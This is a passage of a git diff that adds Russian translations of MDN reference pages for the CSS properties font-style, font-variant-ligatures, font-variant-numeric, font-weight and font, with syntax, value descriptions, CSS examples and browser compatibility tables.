+ <dd>Выделяет шрифт который классифицирован как  <code>oblique</code>. Если не доступна косая версия шрифта, взамен используется  <code>italic</code> классификация. Если не одна версия не доступна, то стиль симулируется искусственно.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Font_styles">Font styles</h3>
+
+<div class="hidden">
+<pre class="brush: html">&lt;p class="normal"&gt;This paragraph is normal.&lt;/p&gt;
+&lt;p class="italic"&gt;This paragraph is italic.&lt;/p&gt;
+&lt;p class="oblique"&gt;This paragraph is oblique.&lt;/p&gt;
+</pre>
+</div>
+
+<pre class="brush: css">.normal {
+  font-style: normal;
+}
+
+.italic {
+  font-style: italic;
+}
+
+.oblique {
+  font-style: oblique;
+}</pre>
+
+<p>{{ EmbedLiveSample('Font_styles') }}</p>
+
+<h2 id="Specific​ations">Specific​ations</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#font-style-prop', 'font-style')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'fonts.html#propdef-font-style', 'font-style')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#font-style', 'font-style')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.font-style")}}</p>
diff --git a/files/ru/web/css/font-variant-ligatures/index.html b/files/ru/web/css/font-variant-ligatures/index.html
new file mode 100644
index 0000000000..1e73617ac2
--- /dev/null
+++ b/files/ru/web/css/font-variant-ligatures/index.html
@@ -0,0 +1,152 @@
+---
+title: font-variant-ligatures
+slug: Web/CSS/font-variant-ligatures
+translation_of: Web/CSS/font-variant-ligatures
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Сводка">Сводка</h2>
+
+<p><strong>Свойство CSS<strong> </strong><code>Font-variant-ligatures</code></strong> <strong>контролирует, какие лигатуры и контекстные формы используются в текстовом содержимом элемента, к которому применяется. Это повышает гармоничность форм получаемого в результате текста.</strong></p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css notranslate">font-variant-ligatures: normal;
+font-variant-ligatures: none;
+font-variant-ligatures: common-ligatures;           /* &lt;common-lig-values&gt; */
+font-variant-ligatures: no-common-ligatures;        /* &lt;common-lig-values&gt; */
+font-variant-ligatures: discretionary-ligatures;    /* &lt;discretionary-lig-values&gt; */
+font-variant-ligatures: no-discretionary-ligatures; /* &lt;discretionary-lig-values&gt; */
+font-variant-ligatures: historical-ligatures;       /* &lt;historical-lig-values&gt; */
+font-variant-ligatures: no-historical-ligatures;    /* &lt;historical-lig-values&gt; */
+font-variant-ligatures: contextual;                 /* &lt;contextual-alt-values&gt; */
+font-variant-ligatures: no-contextual;              /* &lt;contextual-alt-values&gt; */
+font-variant-ligatures: contextual;                 /* &lt;no-historical-ligatures&gt; &lt;common-ligatures&gt; */
+
+/* Глобальные значения */
+font-variant-ligatures: inherit;
+font-variant-ligatures: initial;
+font-variant-ligatures: unset;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Это ключевое слово ведет к активации обычных лигатур и контекстных форм, необходимых для корректного рендеринга. Активируемые лигатуры и формы зависят от шрифта, языка и типа письма. Это значение по умолчанию.</dd>
+ <dt><code>none</code></dt>
+ <dd>Это ключевое слово устанавливает, что все лигатуры и контекстные формы отключены, даже распространенные.</dd>
+ <dt>&lt;<em>common-lig-values&gt;</em></dt>
+ <dd>Эти значения контролируют наиболее распространенные лигатуры, такие как лигатуры для сочетаний <code>fi</code>, <code>ffi</code>, <code>th</code> или подобных. Они относятся к значениям <code>liga</code> и <code>clig</code> в OpenType. Допустимы два значения:
+ <ul>
+  <li><code>common-ligatures</code> активирует эти лигатуры. Обратите внимание, что ключевое слово <code>normal</code> активирует лигатуры.</li>
+  <li><code>no-common-ligatures</code> отключает эти лигатуры.</li>
+ </ul>
+ </dd>
+ <dt>&lt;<em>discretionary-lig-values</em>&gt;</dt>
+ <dd><span class="tlid-translation translation" lang="ru"><span title="">Эти значения управляют определенными лигатурами, специфичными для шрифта и определяемыми дизайнером шрифта.</span> <span title="">Они соответствуют значениям OpenType <code>hlig</code></span></span>. Доступны два значения:
+ <ul>
+  <li><code>discretionary-ligatures</code> активирует данные лигатуры.</li>
+  <li><code>no-discretionary-ligatures</code> деактивирует лигатуры. Обратите внимание, обычно, ключевое слово <code>normal</code> также деактивирует лигатуры.</li>
+ </ul>
+ </dd>
+ <dt><em>&lt;historical-lig-values&gt;</em></dt>
+ <dd>(ß) <span class="tlid-translation translation" lang="ru"><span title="">Эти значения контролируют лигатуры, которые исторически использовались в старых книгах, например, немецкий</span></span> <span class="aCOpRe"><span><em>tz</em></span></span> ("tz диаграф", прим. перев.). Они соответствуют значениям OpenType <code>hlig</code>. Доступны два значения:
+ <ul>
+  <li><code>historical-ligatures</code> активирует данные лигатуры.</li>
+  <li><code>no-historical-ligatures</code> деактивирует лигатуры. Обратите внимание, обычно, ключевое слово <code>normal</code> также деактивирует лигатуры.</li>
+ </ul>
+ </dd>
+ <dt><em>&lt;contextual-alt-values&gt;</em></dt>
+ <dd>Эти значения определяют, адаптируются ли буквы к своему контексту, то есть адаптируются ли они к окружающим их буквам. Эти значения соответствуют вычисленным значениям OpenType. Возможны два значения:
+ <ul>
+  <li><code>contextual</code>указывает, что должны использоваться контекстные альтернативы. Обратите внимание, что ключевое слово <code>normal</code> обычно также активирует лигатуры.</li>
+  <li><code>no-contextual</code> предотвращает их использование.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Соответствующий_правилам_синтаксис">Соответствующий правилам синтаксис</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush:css notranslate">p {
+  font-variant-ligatures: none;
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#propdef-font-variant-ligatures', 'font-variant-ligatures')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatGeckoDesktop("34")}} [1]</td>
+   <td>{{CompatChrome(31)}} {{property_prefix("-webkit")}}<br>
+    {{CompatChrome(34)}}</td>
+   <td>10.0</td>
+   <td>19.0{{property_prefix("-webkit")}}</td>
+   <td>7.0{{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>4.4 {{property_prefix("-webkit")}}</td>
+   <td>{{CompatGeckoMobile("34")}}[1]</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>7.0{{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <span class="tlid-translation translation" lang="ru"><span title="">Экспериментальная реализация была доступна начиная с Gecko 24. Она регулировалась настройкой</span></span> <code>layout.css.font-features.enabled</code> <span class="tlid-translation translation" lang="ru"><span title="">, по умолчанию значение <code>true</code> только для Nightly и Aurora.</span> <span title="">Ключевое слово </span></span> <code>none</code> было добавлено в Gecko 28.</p>
diff --git a/files/ru/web/css/font-variant-numeric/index.html b/files/ru/web/css/font-variant-numeric/index.html
new file mode 100644
index 0000000000..ebe5716b68
--- /dev/null
+++ b/files/ru/web/css/font-variant-numeric/index.html
@@ -0,0 +1,151 @@
+---
+title: font-variant-numeric
+slug: Web/CSS/font-variant-numeric
+tags:
+  - CSS
+  - Свойства CSS
+  - Шрифты CSS
+translation_of: Web/CSS/font-variant-numeric
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Summary">Summary</h2>
+
+<p>Свойство CSS <strong><code>font-variant-numeric</code></strong> управляет использованием альтернативных начертаний для цифр, дробей и порядковых числительных.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="twopartsyntaxbox"><a href="/en-US/docs/CSS/Value_definition_syntax" title="CSS/Value_definition_syntax">Formal syntax</a>: {{csssyntax("font-variant-numeric")}}</pre>
+
+<pre>font-variant-numeric: normal
+font-variant-<span style="font-size: 1rem;">numeric</span><span style="font-size: 1rem;">: ordinal</span>
+font-variant-<span style="font-size: 1rem;">numeric</span><span style="font-size: 1rem;">: slashed-zero</span>
+font-variant-<span style="font-size: 1rem;">numeric</span><span style="font-size: 1rem;">: lining-nums         /* &lt;numeric-figure-values&gt; */</span>
+font-variant-<span style="font-size: 1rem;">numeric</span><span style="font-size: 1rem;">: oldstyle-nums       /* &lt;numeric-figure-values&gt; */</span>
+font-variant-<span style="font-size: 1rem;">numeric</span><span style="font-size: 1rem;">: proportional-nums   /* &lt;numeric-spacing-values&gt; */</span>
+font-variant-<span style="font-size: 1rem;">numeric</span><span style="font-size: 1rem;">: tabular-nums        /* &lt;numeric-spacing-values&gt; */</span>
+font-variant-<span style="font-size: 1rem;">numeric</span><span style="font-size: 1rem;">: diagonal-fractions  /* &lt;numeric-fraction-values&gt; */</span>
+font-variant-<span style="font-size: 1rem;">numeric</span><span style="font-size: 1rem;">: stacked-fractions   /* &lt;numeric-fraction-values&gt; */</span>
+font-variant-<span style="font-size: 1rem;">numeric</span><span style="font-size: 1rem;">: oldstyle-nums stacked-fractions</span>
+
+font-variant-<span style="font-size: 1rem;">numeric</span><span style="font-size: 1rem;">: initial</span>
+font-variant-<span style="font-size: 1rem;">numeric</span><span style="font-size: 1rem;">: inherit</span>
+font-variant-<span style="font-size: 1rem;">numeric</span><span style="font-size: 1rem;">: unset</span>
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Это ключевое слово отключает все альтернативные начертания.</dd>
+ <dt><code>ordinal</code></dt>
+ <dd>Это ключевое слово включает специальные глифы для порядковых числительных, например, 1<sup>st</sup>, 2<sup>nd</sup>, 3<sup>rd</sup>, 4<sup>th</sup> в английском или 1<sup>a</sup> в итальянском (в русском такие типографские изыски не приняты, пишут просто «1-й»). Это соответствует значению OpenType <code>ordn</code>.</dd>
+ <dt><code>slashed-zero</code></dt>
+ <dd>Это ключевое слово включает перечёркнутый ноль; это полезно, когда нужно чёткое различие между буквой O и цифрой 0. Это соответствует значению OpenType <code>zero</code>.</dd>
+ <dt><em>&lt;numeric-figure-values</em>&gt;</dt>
+ <dd>Эти значения управляют тем, какими знаками будут отображаться цифры. Возможны два значения:
+ <ul>
+  <li><code>lining-nums</code> включает маюскульные («заглавные») цифры, стоящие на опорной линии текста. Это соответствует значению OpenType <code>lnum</code>.</li>
+  <li><code>oldstyle-nums</code> включает минускульные («строчные») цифры, в которых некоторые знаки (3, 4, 7, 9) уходят нижним краем под опорную линию (в русской типографике не принято, зато широко используется в западной, в основном в шрифтах с засечками). Это соответствует значению OpenType <code>onum</code>.</li>
+ </ul>
+ </dd>
+ <dt><em>&lt;numeric-spacing-values</em>&gt;</dt>
+ <dd>Эти значения управляют горизонтальным размером цифр. Возможны два значения:
+ <ul>
+  <li><code>proportional-nums</code> включает цифры разной ширины. Это соответствует значению OpenType <code>pnum</code>.</li>
+  <li><code>tabular-nums</code> включает цифры одинаковой ширины, которые легко выравниваются, как в таблицах. Это соответствуют значению OpenType <code>tnum</code>.</li>
+ </ul>
+ </dd>
+ <dt><em>&lt;numeric-fraction-values</em>&gt;</dt>
+ <dd>Эти значения управляют отображением дробей. Возможны два значения:
+ <ul>
+  <li><code>diagonal-fractions</code> включает символы дробей, в которых числитель и знаменатель уменьшены и разделены косой чертой. Это соответствует значению OpenType <code>frac</code>.</li>
+  <li><code>stacked-fractions</code> включает символы дробей, где числитель и знаменатель уменьшены, поставлены друг над другом и разделены горизонтальной чертой.  Это соответствует значению OpenType <code>afrc</code>.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush:css">p {
+  font-variant-numeric: ordinal;
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#propdef-font-variant-numeric', 'font-variant-numeric')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Browser Compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop("34")}} [1]</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatGeckoMobile("34")}}[1]</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Experimental implementation was available since Gecko 24. It was governed by the preference <code>layout.css.font-features.enabled</code> defaulting to <code>true</code> on Nightly and Aurora only.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{cssxref("font-variant")}}, {{cssxref("font-kerning")}}, {{cssxref("font-variant-east-asian")}}, {{cssxref("font-variant-caps")}}, {{cssxref("font-variant-ligatures")}}, {{cssxref("font-variant-position")}}, {{cssxref("font-variant-alternates")}}, {{cssxref("font-synthesis")}}.</li>
+</ul>
diff --git a/files/ru/web/css/font-weight/index.html b/files/ru/web/css/font-weight/index.html
new file mode 100644
index 0000000000..290ab85aca
--- /dev/null
+++ b/files/ru/web/css/font-weight/index.html
@@ -0,0 +1,316 @@
+---
+title: font-weight
+slug: Web/CSS/font-weight
+tags:
+  - CSS
+  - Свойства
+  - Справка
+  - Шрифты
+translation_of: Web/CSS/font-weight
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ru/docs/Web/CSS" title="CSS">CSS</a> свойство <strong><code>font-weight</code></strong> устанавливает начертание шрифта. Некоторые шрифты доступны только в нормальном или полужирном начертании.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/font-weight.html")}}</div>
+
+
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css">font-weight: normal;
+font-weight: bold;
+
+/* Relative to the parent */
+font-weight: lighter;
+font-weight: bolder;
+
+font-weight: 100;
+font-weight: 200;
+font-weight: 300;
+font-weight: 400;
+font-weight: 500;
+font-weight: 600;
+font-weight: 700;
+font-weight: 800;
+font-weight: 900;
+
+/* Global values */
+font-weight: inherit;
+font-weight: initial;
+font-weight: unset;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Нормальное начертание. То же, что и <code>400</code>.</dd>
+ <dt><code>bold</code></dt>
+ <dd>Полужирное начертание. То же, что и <code>700</code>.</dd>
+ <dt><code>lighter</code></dt>
+ <dd>Изменяет начертание относительно насыщенности родительского элемента (сверхтонкое начертание).</dd>
+ <dt><code>bolder</code></dt>
+ <dd>Изменяет начертание относительно насыщенности родителя элемента (сверхжирное начертание).</dd>
+ <dt><code>100</code>, <code>200</code>, <code>300</code>, <code>400</code>, <code>500</code>, <code>600</code>, <code>700</code>, <code>800</code>, <code>900</code></dt>
+ <dd>Цифровые значения насыщенности шрифтов, которые позволяют задавать больше, чем нормальное и полужирное начертание.</dd>
+</dl>
+
+<h3 id="Недоступность_заданного_значения">Недоступность заданного значения</h3>
+
+<p>Если заданное цифровое значение насыщенности недоступно, для определения толщины отображемого шрифта используется следующий алгоритм:</p>
+
+<ul>
+ <li>Если задано значение выше <code>500</code>, будет использовано первое доступное более жирное начертание (если такого не окажется, то первое доступное более светлое).</li>
+ <li>Если задано значение менее <code>400</code>, будет использовано первое доступное более светлое начертание (если такого не окажется, то первое доступное более жирное).</li>
+ <li>Если задано значение <code>400</code>, будет применено <code>500</code>. Если <code>500</code> недоступно, то будет использован алгоритм для подбора значений менее <code>400</code>.</li>
+ <li>Если задано значение <code>500</code>, будет применено <code>400</code>. Если <code>400</code> недоступно, то будет использован алгоритм для подбора значений менее <code>400</code>.</li>
+</ul>
+
+<p><span id="result_box" lang="ru"><span class="hps">Это означает, что</span> <span class="hps">для шрифтов</span><span>, которые предоставляют</span> <span class="hps">только</span> <span class="hps">normal и</span> bold<span class="hps"> начертания,</span> <span class="hps">100-500</span> <span class="hps">normal</span><span>,</span> <span class="hps">и</span> <span class="hps">600-900</span> bold<span class="hps">.</span></span></p>
+
+<h3 id="Значение_относительных_весов">Значение относительных весов</h3>
+
+<p>Когда используется <strong>жирнее </strong>или <strong>светлее</strong>, следующая таблица используется для вычисления абсолютного веса элемента:</p>
+
+<table>
+ <thead>
+  <tr>
+   <th>наследуемое значение</th>
+   <th><code>жирнее</code></th>
+   <th><code>светлее</code></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th>100</th>
+   <td>400</td>
+   <td>100</td>
+  </tr>
+  <tr>
+   <th>200</th>
+   <td>400</td>
+   <td>100</td>
+  </tr>
+  <tr>
+   <th>300</th>
+   <td>400</td>
+   <td>100</td>
+  </tr>
+  <tr>
+   <th>400</th>
+   <td>700</td>
+   <td>100</td>
+  </tr>
+  <tr>
+   <th>500</th>
+   <td>700</td>
+   <td>100</td>
+  </tr>
+  <tr>
+   <th>600</th>
+   <td>900</td>
+   <td>400</td>
+  </tr>
+  <tr>
+   <th>700</th>
+   <td>900</td>
+   <td>400</td>
+  </tr>
+  <tr>
+   <th>800</th>
+   <td>900</td>
+   <td>700</td>
+  </tr>
+  <tr>
+   <th>900</th>
+   <td>900</td>
+   <td>700</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Определение_веса_имени">Определение веса имени</h3>
+
+<p>Значения от 100 до 900, примерно, соответствуют следующим распространенным именам насыщенности:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Значение</th>
+   <th scope="col">Общее название</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>100</code></td>
+   <td>Тонкий (Волосяной) Thin (Hairline)</td>
+  </tr>
+  <tr>
+   <td><code>200</code></td>
+   <td>Дополнительный светлый (Сверхсветлый) Extra Light (Ultra Light)</td>
+  </tr>
+  <tr>
+   <td><code>300</code></td>
+   <td>Светлый Light</td>
+  </tr>
+  <tr>
+   <td><code>400</code></td>
+   <td>Нормальный Normal</td>
+  </tr>
+  <tr>
+   <td><code>500</code></td>
+   <td>Средний Medium</td>
+  </tr>
+  <tr>
+   <td><code>600</code></td>
+   <td>Полужирный Semi Bold (Demi Bold)</td>
+  </tr>
+  <tr>
+   <td><code>700</code></td>
+   <td>Жирный Bold</td>
+  </tr>
+  <tr>
+   <td><code>800</code></td>
+   <td>Дополнительный жирный (Сверхжирный) Extra Bold (Ultra Bold)</td>
+  </tr>
+  <tr>
+   <td><code>900</code></td>
+   <td>Черный (Густой) Black (Heavy)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Интерполяция">Интерполяция</h3>
+
+<p>Значения <code>font-weight</code> интерполируются  с помощью дискретных шагов (кратные 100). <span id="result_box" lang="ru"><span class="hps">Интерполяция</span> <span class="hps">происходит в действительном пространстве чисел</span> <span class="hps">и превращается</span> <span class="hps">в целое число путем</span> <span class="hps">округления до</span> <span class="hps">ближайшего числа, кратного</span> <span class="hps">100,</span> <span class="hps">со значениями</span> <span class="alt-edited hps">посредине между</span> <span class="alt-edited hps">кратными 100</span> <span class="alt-edited hps">округленными</span> <span class="alt-edited hps">в сторону</span> <span class="hps">положительной бесконечности</span><span>.</span></span></p>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  Alice was beginning to get very tired of sitting by her sister on the
+  bank, and of having nothing to do: once or twice she had peeped into the
+  book her sister was reading, but it had no pictures or conversations in
+  it, 'and what is the use of a book,' thought Alice 'without pictures or
+  conversations?'
+&lt;/p&gt;
+
+&lt;div&gt;I'm heavy&lt;br/&gt;
+  &lt;span&gt;I'm lighter&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">/* Назначение тексту элемента &lt;<code>p&gt;</code> жирного начертания. */
+p {
+  font-weight: bold;
+}
+
+/* Назначение тексту элемента &lt;div&gt; жирности, которая больше на два уровня,
+чем normal, но все еще меньше, чем стандартный bold. */
+div {
+ font-weight: 600;
+}
+
+/* Назначение тексту элемента &lt;span&gt; жирности,
+которая на один уровень меньше, чем у его родителя. */
+span {
+  font-weight: lighter;
+}</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Примеры","400","300")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#font-weight-prop', 'font-weight')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'font-weight')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Defines <code>font-weight</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'fonts.html#propdef-font-weight', 'font-weight')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#font-weight', 'font-weight')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>2.0</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>3.0</td>
+   <td>3.5</td>
+   <td>1.3</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>6.0</td>
+   <td>6.0</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/css/font/index.html b/files/ru/web/css/font/index.html
new file mode 100644
index 0000000000..3c6671f2d5
--- /dev/null
+++ b/files/ru/web/css/font/index.html
@@ -0,0 +1,352 @@
+---
+title: font
+slug: Web/CSS/font
+translation_of: Web/CSS/font
+---
+<div>{{CSSRef}}</div>
+
+<p>CSS-свойство <strong><code>font</code></strong> является сокращением для {{ Cssxref("font-style") }}, {{ Cssxref("font-variant") }}, {{ Cssxref("font-weight") }}, {{ cssxref("font-stretch") }}, {{ Cssxref("font-size") }}, {{ Cssxref("line-height") }}, и {{ Cssxref("font-family") }}. Кроме того, он позволяет установить системный шрифт для элементов интерфейса.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/font.html")}}</div>
+
+
+
+<p>Как и с любым сокращенным свойством, любое значение, которое не указано, устанавливается в начальное значение (возможно, переопределяя значения, ранее установленные с использованием не сокращенных свойств). Свойства {{cssxref ("font-size-Adjust")}} и {{cssxref ("font-kerning")}} хоть и не могут быть напрямую установлены с помощью <code>font</code>, но они также сбрасываются к своим начальным значениям.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>The <code>font</code> property may be specified as either a single keyword, which will select a system font, or as a shorthand for various font-related properties.</p>
+
+<p>If <code>font</code> is specified as a system keyword, it must be one of: <code><a href="#caption">caption</a></code>, <code><a href="#icon">icon</a></code>, <code><a href="#menu">menu</a></code>, <code><a href="#message-box">message-box</a></code>, <code><a href="#small-caption">small-caption</a></code>, <code><a href="#status-bar">status-bar</a></code>.</p>
+
+<p>If <code>font</code> is specified as a shorthand for several font-related properties, then:</p>
+
+<ul>
+ <li>it must include values for:
+  <ul>
+   <li>{{cssxref("&lt;font-size&gt;")}}</li>
+   <li>{{cssxref("&lt;font-family&gt;")}}</li>
+  </ul>
+ </li>
+ <li>it may optionally include values for:
+  <ul>
+   <li>{{cssxref("&lt;font-style&gt;")}}</li>
+   <li>{{cssxref("&lt;font-variant&gt;")}}</li>
+   <li>{{cssxref("&lt;font-weight&gt;")}}</li>
+   <li>{{cssxref("&lt;font-stretch&gt;")}}</li>
+   <li>{{cssxref("&lt;line-height&gt;")}}</li>
+  </ul>
+ </li>
+ <li><code>font-style</code>, <code>font-variant</code> and <code>font-weight</code> must precede <code>font-size</code></li>
+ <li><code>font-variant</code> may only specify the values defined in CSS 2.1, that is <code>normal</code> and <code>small-caps</code></li>
+ <li><code>font-stretch</code> may only be a single keyword value.</li>
+ <li><code>line-height</code> must immediately follow <code>font-size</code>, preceded by "/", like this: "<code>16px/3</code>"</li>
+ <li><code>font-family</code> must be the last value specified.</li>
+</ul>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt id="&lt;'font-style'>"><code>&lt;'font-style'&gt;</code></dt>
+ <dd>See the {{ Cssxref("font-style") }} CSS property.</dd>
+ <dt id="&lt;'font-variant'>"><code>&lt;'font-variant'&gt;</code></dt>
+ <dd>See the {{ Cssxref("font-variant") }} CSS property.</dd>
+ <dt id="&lt;'font-weight'>"><code>&lt;'font-weight'&gt;</code></dt>
+ <dd>See the {{ Cssxref("font-weight") }} CSS property.</dd>
+ <dt id="&lt;'font-stretch'>"><code>&lt;'font-stretch'&gt;</code></dt>
+ <dd>See the {{ Cssxref("font-stretch") }} CSS property.</dd>
+ <dt id="&lt;'font-size'>"><code>&lt;'font-size'&gt;</code></dt>
+ <dd>See the {{ Cssxref("font-size") }} CSS property.</dd>
+ <dt id="&lt;'line-height'>"><code>&lt;'line-height'&gt;</code></dt>
+ <dd>See the {{ cssxref("line-height") }} CSS property.</dd>
+ <dt id="&lt;'font-family'>"><code>&lt;'font-family'&gt;</code></dt>
+ <dd>See the {{ Cssxref("font-family") }} CSS property.</dd>
+</dl>
+
+<h4 id="System_font_values">System font values</h4>
+
+<dl>
+ <dt id="caption"><code>caption</code></dt>
+ <dd>The system font used for captioned controls (e.g., buttons, drop-downs, etc.).</dd>
+ <dt id="icon"><code>icon</code></dt>
+ <dd>The system font used to label icons.</dd>
+ <dt id="menu"><code>menu</code></dt>
+ <dd>The system font used in menus (e.g., dropdown menus and menu lists).</dd>
+ <dt id="message-box"><code>message-box</code></dt>
